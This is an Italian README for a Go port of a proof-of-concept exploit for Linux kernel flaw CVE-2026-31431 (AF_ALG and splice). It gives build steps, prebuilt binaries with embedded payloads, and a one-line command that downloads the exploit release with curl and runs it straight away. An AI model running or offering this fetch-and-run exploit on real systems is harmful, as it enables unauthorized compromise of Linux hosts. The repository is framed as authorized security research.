
Static proof-of-concept in Go per CVE-2026-31431, che sfrutta Linux AF_ALG e splice(2) per attivare la vulnerabilità. Fornisce binari precompilati per amd64, arm64 e 386.
Questo repository contiene una portabilità in Go del proof of concept pubblico in Python di
theori-io/copy-fail-CVE-2026-31431.
Il programma è solo per Linux. Utilizza l'interfaccia Linux AF_ALG, i messaggi di controllo AEAD
e splice(2) per preservare il comportamento del PoC originale, compilando come un piccolo binario Go statico.
Le build di rilascio sono generate per:
linux/amd64linux/arm64linux/386Ogni binario incorpora un ELF payload per la stessa architettura di destinazione.
Le build per macOS e Windows non vengono pubblicate intenzionalmente perché il PoC dipende da interfacce kernel specifiche di Linux.
I rilasci con tag pubblicano binari statici compressi e un manifest di checksum:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMSVerifica un artefatto scaricato con:
sha256sum -c SHA256SUMS
Requisiti:
Compila per l'architettura host corrente:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
Cross-compila un target Linux:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
I valori supportati per GOARCH sono amd64, arm64 e 386.
Esegui i test:
go test ./...
go vet ./...
I test coprono solo la logica helper non distruttiva. Non eseguono il percorso di attivazione del PoC.
Esegui il binario su un sistema Linux che possiedi o su cui sei esplicitamente autorizzato a testare:
./copy-fail-poc-linux-*
Download e esecuzione del rilascio in una riga:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
Il comportamento dipende dal kernel di destinazione e dalla configurazione locale del sistema. Il binario non garantisce lo sfruttamento riuscito su ogni sistema Linux.
Il workflow di GitHub Actions viene eseguito sui tag che corrispondono a v* e può anche essere avviato
manualmente dalla scheda Actions.
Crea un rilascio:
git tag v0.1.0
git push origin v0.1.0
Per le build con tag, il workflow crea una GitHub Release e carica gli artefatti Linux
più SHA256SUMS. Per le esecuzioni manuali, gli artefatti sono disponibili dall'esecuzione
del workflow.
Questo progetto è fornito esclusivamente per ricerca sulla sicurezza autorizzata, validazione difensiva e revisione educativa. Non eseguirlo su sistemi che non possiedi o su cui non hai esplicito permesso di testare. Sei responsabile del rispetto di tutte le leggi, contratti e politiche applicabili.
theori-io/copy-fail-CVE-2026-31431